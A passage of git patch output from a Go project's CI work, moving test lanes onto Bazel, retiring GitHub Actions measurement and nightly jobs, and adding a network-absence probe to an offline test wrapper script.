t.Errorf("pr-risk.yml %s no longer runs %s; update this suite", s.job, s.script) } want = append(want, fmt.Sprintf("--suite %s %s %d", s.label, s.script, shards)) } @@ -1188,15 +391,6 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { t.Errorf("%s coverage step must run after the test step and before the result recorder", c.lane) } } - // The legacy conformance partitions the --whole targets stand for. - for _, partition := range []string{"core", "audit"} { - if risk.job(t, "test-embedded-conformance").step(t, "Test "+partition+" conformance").Run == "" { - t.Errorf("pr-risk.yml test-embedded-conformance has no %s partition; update this check", partition) - } - } - if !strings.Contains(risk.job(t, "test-server-storage").step(t, "Test").Run, "-test.run '^TestConformance$'") { - t.Errorf("pr-risk.yml test-server-storage no longer runs ^TestConformance$; update this check") - } } // check_shard_coverage.py itself, on a synthetic BEP, test.xml files and @@ -1377,7 +571,6 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { for _, q := range regexp.MustCompile(`"([^"]+)"`).FindAllStringSubmatch(m[1], -1) { notTests[q[1]] = true } - risk := readCIWorkflow(t, prRiskWorkflowName) for _, c := range []struct{ job, script, pkg string }{ {"test-embedded-cmd", ".github/scripts/embedded-test-shard.sh", "cmd/bd"}, {"test-embedded-storage", ".github/scripts/embedded-storage-test-shard.sh", "internal/storage/embeddeddolt"}, @@ -1417,7 +610,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { if mm == nil { t.Fatalf("%s has no ${BEADS_TEST_SHARD_MANIFEST:-...} default manifest", c.script) } - totalsSet := map[int]bool{len(risk.job(t, c.job).Strategy.Matrix.Shard): true} + totalsSet := map[int]bool{} for _, line := range strings.Split(readPolicyFile(t, root, mm[1]), "\n") { line, _, _ = strings.Cut(line, "#") fields := strings.Fields(line) @@ -1443,6 +636,8 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { case ".github/scripts/embedded-storage-test-shard.sh": // F1: mirrors the cmd case above for the 15-shard storage block. totalsSet[bazelEmbeddedStorageShardCount(t)] = true + case ".github/scripts/server-storage-test-shard.sh": + totalsSet[bazelServerFullShardCount(t)] = true } totals := make([]int, 0, len(totalsSet)) for n := range totalsSet { @@ -1555,7 +750,7 @@ func TestProxiedShardManifestGeneratorNotStale(t *testing.T) { // server-storage) are those tiers' only pre-merge run on same-repo PRs, so // nothing that reaches them may narrow them (select fewer tests, or turn // them into skips) without a reviewed edit of this test. -// TestBazelEmbeddedJobMirrorsEmbeddedTier and TestBazelRetiredLanesArePinned +// TestBazelEmbeddedJobRunsEmbeddedTier and TestBazelRetiredLanesArePinned // pin the command lines and each lane config's lines; this covers // everything else that applies to the lanes: every other .bazelrc line of a // config a lane uses (the unconfigured ones, remote-exec and fork-cache, diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index b4d1f1a92..d907c8f9a 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -53,12 +53,11 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { } func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { - // Only pr-risk.yml's legacy container-backed tiers pull the image; every - // pr.yml and bazel.yml Dolt suite runs on hermetic dolt sql-servers - // (the dolt-server lanes) and needs no docker. - wantCalls := map[string]int{ - "pr-risk.yml": 3, - } + // No workflow pulls the image: every Dolt suite runs on hermetic dolt + // sql-servers (bazel.yml's dolt-server lanes) and needs no docker, since + // pr-risk.yml's container-backed legacy tiers were retired + // (ga-96smfk.22). The helper stays for local container-backed runs. + wantCalls := map[string]int{} workflowsDir := filepath.Join(sourceRepoRoot(t), ".github", "workflows") workflowPaths, err := filepath.Glob(filepath.Join(workflowsDir, "*.y*ml")) From b4831e7250855c503754e97dad03f603e857fab9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 10:04:40 +0000 Subject: [PATCH 152/325] ci(bazel): go_test_offline runs on the fork tier, where actions are already offline (#7359) bd_managed_local_test (#7326) fails on every fork PR's proxied lane: the rbe-west fork tier forbids nested namespaces, so unshare exits with ENOSPC, but that tier already runs every action loopback only. When unshare is unavailable, run the binary directly after the same outbound probe proves the network is absent; a host with network and no namespaces still fails. Co-authored-by: Claude Opus 5.5 (1M context) --- tools/bazel/go_test_offline.sh | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/tools/bazel/go_test_offline.sh b/tools/bazel/go_test_offline.sh index b0718fe52..726cb053c 100755 --- a/tools/bazel/go_test_offline.sh +++ b/tools/bazel/go_test_offline.sh @@ -8,8 +8,23 @@ # code under test needs no outbound network. The workers allow unprivileged # user namespaces; a host that does not fails here rather than running the # test with the network it is meant to be without. +# +# The rbe-west fork tier forbids nested namespaces (unshare fails with ENOSPC) +# but already runs every action loopback only. There, and anywhere else +# unshare is unavailable, the binary runs as is, but only after the same +# outbound probe proves the network is absent; a host with network and no +# namespaces still fails. set -euo pipefail export GO_TEST_RUN_FROM_BAZEL=1 +if ! unshare --user --map-root-user --net -- true 2>/dev/null; then + if timeout 3 bash -c "exec 3<>/dev/tcp/1.1.1.1/443" 2>/dev/null; then + echo "go_test_offline: no network namespace available (unshare failed) and outbound network is reachable" >&2 + exit 1 + fi + bin="$1" + shift + exec "./$bin" "$@" +fi exec unshare --user --map-root-user --net -- bash -euc ' ip link set lo up # Prove the namespace really has no outbound network before trusting From 9d13485b719fd389e3f6bd900261f45622a705f8 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 10:06:59 +0000 Subject: [PATCH 153/325] ci(bazel): retire main.yml's Linux jobs, nightly's go test jobs and ci-measurements (#7354) Push to main and the nightly schedule no longer run go test or repo checks on GitHub runners (ga-96smfk.22, ga-96smfk.58): - main.yml keeps only the macOS -race -short suite, the Windows smoke build and the push-to-main savers of the GOCACHEs pr.yml's Windows/macOS jobs restore. Its Linux jobs (migration hygiene, build artifacts, build tags, versions, duplicate migrations, doc flags, package gates, PR policy wrapper, gofmt, the Linux and setup-go cache seeders, the Nix flake check) are gated on the merge queue's pr.yml/pr-risk.yml run of the same commit and re-run as Bazel targets by bazel.yml's push run. - nightly.yml is the fresh bazel.yml call plus the worker-env check; its Full Test Suite, PR Core go-test-json side and measure dispatch are gone, as are ci-measurements.yml and bazel.yml's go-test-json-artifact input. - The non-race embedded batch-apply step becomes //internal/storage/embeddeddolt:embeddeddolt_batch_apply_nonrace_test (go_test_race_off, BEADS_TEST_EMBEDDED_DOLT=1) in the embedded tier. - make ci-pr-policy and scripts/ci/pr-policy.sh go: every check it ran is a Bazel test (TestPRPolicyChecksRunAsBazelTargets). Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 7 +- .github/workflows/bazel.yml | 26 +- .github/workflows/ci-measurements.yml | 763 ------------------ .github/workflows/main.yml | 631 +-------------- .github/workflows/nightly.yml | 197 +---- Makefile | 11 +- RELEASING.md | 18 +- cmd/bd/BUILD.bazel | 3 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 29 +- engdocs/TESTING.md | 2 +- internal/storage/dolt/BUILD.bazel | 2 +- internal/storage/embeddeddolt/BUILD.bazel | 44 + .../create_batch_equivalence_test.go | 4 +- .../large_batch_apply_measure_test.go | 16 +- scripts/README.md | 4 +- scripts/bazel_policy_test.go | 28 +- scripts/check-workapi-frontend-boundary.sh | 3 +- scripts/ci/pr-core.sh | 4 +- scripts/ci/pr-policy.sh | 90 --- scripts/ci/warm-non-race-cache.sh | 3 - scripts/ci_f7b_review_test.go | 61 +- scripts/ci_f7c_advisory_test.go | 315 +------- scripts/ci_workflow_test.go | 200 ++--- scripts/generate-cli-docs.sh | 2 +- scripts/pr_lanes_bazel_coverage_test.go | 22 +- scripts/pr_risk_bazel_coverage_test.go | 6 + scripts/repochecks/BUILD.bazel | 3 +- scripts/workflowtags/workflowtags.go | 2 +- scripts/workflowtags/workflowtags_test.go | 4 +- 29 files changed, 270 insertions(+), 2230 deletions(-) delete mode 100644 .github/workflows/ci-measurements.yml delete mode 100755 scripts/ci/pr-policy.sh diff --git a/.bazelrc b/.bazelrc index 497eacc70..63d000368 100644 --- a/.bazelrc +++ b/.bazelrc @@ -199,8 +199,7 @@ test:doltserver-integration --experimental_remote_cache_eviction_retries=0 # cmd/bd Dolt-server tier: //cmd/bd:bd_dolt_server_test (dolt-server-cmd # tag), the whole integration-tagged cmd/bd suite against a hermetic dolt # sql-server, i.e. the Dolt-gated cmd/bd tests every other lane skips -# (BEADS_TEST_SKIP=dolt in --config=prcore/ci and --config=integration, and -# in nightly.yml's go test job), and //tests/regression:regression_test +# (BEADS_TEST_SKIP=dolt in --config=prcore/ci and --config=integration), and //tests/regression:regression_test # (the differential regression suite, formerly regression.yml, against the # catalog-pinned baseline in @bd_releases). The build flags are exactly # --config=integration's, so it compiles nothing bazel-integration does not @@ -227,8 +226,8 @@ test:doltserver-cmd --local_test_jobs=4 test:doltserver-cmd --remote_download_regex=.*/test\.(log|xml)$ # Integration lane: the `go test` main.yml's former "Main Linux integration" -# jobs ran on push (this lane replaced them; nightly.yml's Full Test Suite -# still runs the same `go test` over ./... in one job): every package +# jobs ran on push (this lane replaced them, and nightly.yml's retired Full +# Test Suite, which ran the same `go test` over ./... in one job): every package # built with -tags=integration,gms_pure_go, race, no -short, no -skip, # BEADS_TEST_SKIP=dolt. The tag is set for the whole build, as `go test -tags` # does, not per target: gazelle generates srcs/deps with integration files diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 8d5f90aab..fbf8f2fef 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -209,14 +209,6 @@ on: type: boolean required: false default: true - go-test-json-artifact: - description: > - Artifact (from the calling run) holding go-test.json, PR Core's - `go-test -json` on this commit; enables the equivalence skip-parity - check. nightly.yml sets it. - type: string - required: false - default: "" # A string, not a boolean: on push and dispatch inputs.integration is # null, and null == false in GitHub's loose comparison, so a boolean # test would silently stop the lane on main. @@ -815,18 +807,8 @@ jobs: python3 tools/bazel/critpath.py "$RUNNER_TEMP/bazel-profile.json" \ --tier "$TIER" --log "$RUNNER_TEMP/bazel-test.log" "${budget[@]}" - # nightly.yml's PR Core `go test -json` on the same commit. - - name: Download go-test results - if: ${{ always() && inputs.go-test-json-artifact != '' && steps.test.outcome != 'skipped' }} - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ${{ inputs.go-test-json-artifact }} - path: ${{ runner.temp }}/go-test-json - # Fails on any Go test that `go test` runs and Bazel did not (tag filter, - # manual, missing target, empty shard) unless it is allowlisted. With - # go test results (nightly) it also fails on tests that passed under go - # test and were skipped under Bazel; a PR run cannot see those. + # manual, missing target, empty shard) unless it is allowlisted. # It reads test.xml from bazel-testlogs, which --config=integration # shares with --config=ci (same output directory): if a job ever runs # both lanes, run each lane's equivalence right after its own @@ -836,11 +818,9 @@ jobs: timeout-minutes: 15 env: DETAILS: ${{ inputs.details && '--details' || '' }} - GO_TEST_JSON: ${{ inputs.go-test-json-artifact != '' && format('{0}/go-test-json/go-test.json', runner.temp) || '' }} run: | args=() if [ -n "$DETAILS" ]; then args+=("$DETAILS"); fi - if [ -n "$GO_TEST_JSON" ]; then args+=(--go-test-json "$GO_TEST_JSON"); fi python3 tools/bazel/equivalence.py --bep "$RUNNER_TEMP/bazel-bep.json" "${args[@]}" # Runs last: it rewrites BUILD files in the checkout. main moves BUILD @@ -1370,8 +1350,8 @@ jobs: run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" # main.yml's "Main Linux integration packages (N/6)" and "Main Linux - # integration cmd/bd (N/8)" jobs (nightly.yml's Full Test Suite runs the - # same go test in one job) as --config=integration: every package with + # integration cmd/bd (N/8)" jobs (and nightly.yml's retired Full Test + # Suite, the same go test in one job) as --config=integration: every package with # -tags=integration,gms_pure_go, race, no -short, BEADS_TEST_SKIP=dolt (see # .bazelrc). A job of its own: ci and integration share bazel-testlogs, so # bazel-test's equivalence step would read this lane's test.xml if both ran diff --git a/.github/workflows/ci-measurements.yml b/.github/workflows/ci-measurements.yml deleted file mode 100644 index e2278bd22..000000000 --- a/.github/workflows/ci-measurements.yml +++ /dev/null @@ -1,763 +0,0 @@ -name: CI Measurements - -on: - workflow_call: - inputs: - suite: - description: "Suite to measure" - required: true - type: string - smoke_version: - description: "Optional previous release for cross-version-smoke" - required: false - type: string - default: "" - workflow_dispatch: - inputs: - suite: - description: "Suite to measure" - required: true - type: choice - default: pr-linux - options: - - pr-linux - - macos-short - - macos-candidates - - linux-integration - - linux-integration-sharded - - linux-integration-hybrid-sharded - - linux-integration-hybrid-16-sharded - - linux-integration-hybrid-prebuilt-sharded - - linux-integration-coverage - - cross-version-smoke - - nix - - mcp-package - - npm-package - smoke_version: - description: "Optional previous release for cross-version-smoke" - required: false - default: "" - -permissions: - contents: read - -concurrency: - group: ${{ github.workflow }}-${{ github.ref }}-${{ inputs.suite }} - cancel-in-progress: false - -env: - BD_DISABLE_METRICS: "1" - BD_DISABLE_EVENT_FLUSH: "1" - -jobs: - pr-linux: - name: Measure PR Linux commands - if: ${{ inputs.suite == 'pr-linux' }} - runs-on: ubuntu-latest - timeout-minutes: 30 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure commands - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - source ./.buildflags - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - status=0 - ci_time "pr-policy wrapper" -- make ci-pr-policy || status=$? - # -timeout=30m keeps this in step with the lane it measures - # (scripts/ci/pr-core.sh). Without it ./cmd/bd can die on `go test`'s - # 10m default and the measurement reports a panic instead of a duration. - ci_time "pr-core gotestsum" -- gotestsum --junitfile artifacts/pr-core-junit.xml --format testdox -- -race -short -timeout=30m -skip '^TestEmbedded' ./... || status=$? - exit "$status" - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-pr-linux - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - macos-short: - name: Measure macOS short Go tests - if: ${{ inputs.suite == 'macos-short' }} - runs-on: macos-latest - timeout-minutes: 30 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure commands - run: | - set -euo pipefail - source scripts/ci/lib/timing.sh - source ./.buildflags - - # -timeout=30m matches the macOS lanes this measures (pr.yml, main.yml). - # This is the job that produced the ./cmd/bd duration distribution, and - # at 10m it clips its own longest samples into timeout panics. - ci_time "macos short go test" -- go test -tags=gms_pure_go -v -race -short -timeout=30m -skip '^TestEmbedded' ./... - - macos-candidates: - name: Measure macOS no-short candidates - if: ${{ inputs.suite == 'macos-candidates' }} - runs-on: macos-latest - timeout-minutes: 60 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure commands - run: | - set -euo pipefail - source scripts/ci/lib/timing.sh - - status=0 - ci_time "macos no-short go test" -- go test -tags=gms_pure_go -v -race -timeout=30m -skip '^TestEmbedded' ./... || status=$? - ci_time "macos integration go test" -- go test -tags=integration,gms_pure_go -v -race -timeout=30m -skip '^TestEmbedded' ./... || status=$? - exit "$status" - - linux-integration: - name: Measure Linux integration tests - if: ${{ inputs.suite == 'linux-integration' }} - runs-on: ubuntu-latest - timeout-minutes: 45 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure commands - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - ci_time "linux integration go test" -- env BEADS_TEST_SKIP=dolt gotestsum --junitfile artifacts/linux-integration-junit.xml --format testdox -- -v -race -tags=integration,gms_pure_go -timeout=30m ./... - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - linux-integration-sharded: - name: Measure Linux integration shard ${{ matrix.shard }}/6 - if: ${{ inputs.suite == 'linux-integration-sharded' }} - runs-on: ubuntu-latest - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 6 - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - mapfile -t packages < <( - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - scripts/ci/go-test-shard-packages.sh "$SHARD" "$TOTAL_SHARDS" - ) - package_manifest="artifacts/linux-integration-packages-${SHARD}-of-${TOTAL_SHARDS}.txt" - printf '%s\n' "${packages[@]}" | tee "$package_manifest" - - if [[ "${#packages[@]}" -eq 0 ]]; then - echo "No packages assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - ci_time "linux integration shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/linux-integration-shard-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m "${packages[@]}" - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-shard-${{ matrix.shard }}-of-6 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - linux-integration-hybrid-packages: - name: Measure Linux integration package shard ${{ matrix.shard }}/6 (no cmd/bd) - if: ${{ inputs.suite == 'linux-integration-hybrid-sharded' || inputs.suite == 'linux-integration-hybrid-16-sharded' || inputs.suite == 'linux-integration-hybrid-prebuilt-sharded' }} - runs-on: ubuntu-latest - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 6 - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - package_manifest="artifacts/linux-integration-hybrid-packages-${SHARD}-of-${TOTAL_SHARDS}.txt" - write_package_manifest() { - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - GO_TEST_SHARD_EXCLUDE_REGEX="^github.com/steveyegge/beads/cmd/bd$" \ - scripts/ci/go-test-shard-packages.sh "$SHARD" "$TOTAL_SHARDS" > "$package_manifest" - } - ci_time "list integration package shard ${SHARD}/${TOTAL_SHARDS}" -- write_package_manifest - cat "$package_manifest" - mapfile -t packages < "$package_manifest" - - if [[ "${#packages[@]}" -eq 0 ]]; then - echo "No packages assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - ci_time "linux integration package shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/linux-integration-hybrid-packages-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m "${packages[@]}" - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-hybrid-packages-${{ matrix.shard }}-of-6 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - linux-integration-hybrid-cmd-bd: - name: Measure Linux integration cmd/bd shard ${{ matrix.shard }}/8 - if: ${{ inputs.suite == 'linux-integration-hybrid-sharded' }} - runs-on: ubuntu-latest - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 8 - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - test_manifest="artifacts/linux-integration-cmd-bd-tests-${SHARD}-of-${TOTAL_SHARDS}.txt" - write_test_manifest() { - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - scripts/ci/go-test-shard-names.sh "$SHARD" "$TOTAL_SHARDS" ./cmd/bd > "$test_manifest" - } - ci_time "list cmd/bd test shard ${SHARD}/${TOTAL_SHARDS}" -- write_test_manifest - cat "$test_manifest" - mapfile -t tests < "$test_manifest" - - if [[ "${#tests[@]}" -eq 0 ]]; then - echo "No tests assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - run_regex="^($(IFS='|'; echo "${tests[*]}"))$" - ci_time "linux integration cmd/bd shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/linux-integration-cmd-bd-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m -run "$run_regex" ./cmd/bd - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-cmd-bd-${{ matrix.shard }}-of-8 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - linux-integration-hybrid-16-cmd-bd: - name: Measure Linux integration cmd/bd shard ${{ matrix.shard }}/16 - if: ${{ inputs.suite == 'linux-integration-hybrid-16-sharded' }} - runs-on: ubuntu-latest - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 16 - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - test_manifest="artifacts/linux-integration-cmd-bd-tests-${SHARD}-of-${TOTAL_SHARDS}.txt" - write_test_manifest() { - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - scripts/ci/go-test-shard-names.sh "$SHARD" "$TOTAL_SHARDS" ./cmd/bd > "$test_manifest" - } - ci_time "list cmd/bd test shard ${SHARD}/${TOTAL_SHARDS}" -- write_test_manifest - cat "$test_manifest" - mapfile -t tests < "$test_manifest" - - if [[ "${#tests[@]}" -eq 0 ]]; then - echo "No tests assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - run_regex="^($(IFS='|'; echo "${tests[*]}"))$" - ci_time "linux integration cmd/bd shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/linux-integration-cmd-bd-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m -run "$run_regex" ./cmd/bd - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-cmd-bd-${{ matrix.shard }}-of-16 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - linux-integration-hybrid-prebuilt-bd: - name: Measure Linux integration prebuild cmd/bd binary - if: ${{ inputs.suite == 'linux-integration-hybrid-prebuilt-sharded' }} - runs-on: ubuntu-latest - timeout-minutes: 20 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Measure build - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - source ./.buildflags - - ci_time "build cmd/bd subprocess binary" -- go build -tags gms_pure_go -o artifacts/bd ./cmd/bd - - - name: Upload prebuilt bd - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-prebuilt-bd - path: artifacts/bd - retention-days: 7 - if-no-files-found: error - - linux-integration-hybrid-prebuilt-cmd-bd: - name: Measure Linux integration prebuilt cmd/bd shard ${{ matrix.shard }}/8 - if: ${{ inputs.suite == 'linux-integration-hybrid-prebuilt-sharded' }} - needs: linux-integration-hybrid-prebuilt-bd - runs-on: ubuntu-latest - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Download prebuilt bd - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-measure-linux-integration-prebuilt-bd - path: prebuilt-bd - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 8 - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/prebuilt-bd/bd - run: | - set -euo pipefail - mkdir -p artifacts - chmod +x "$BEADS_TEST_BD_BINARY" - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - test_manifest="artifacts/linux-integration-cmd-bd-tests-${SHARD}-of-${TOTAL_SHARDS}.txt" - write_test_manifest() { - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - scripts/ci/go-test-shard-names.sh "$SHARD" "$TOTAL_SHARDS" ./cmd/bd > "$test_manifest" - } - ci_time "list cmd/bd test shard ${SHARD}/${TOTAL_SHARDS}" 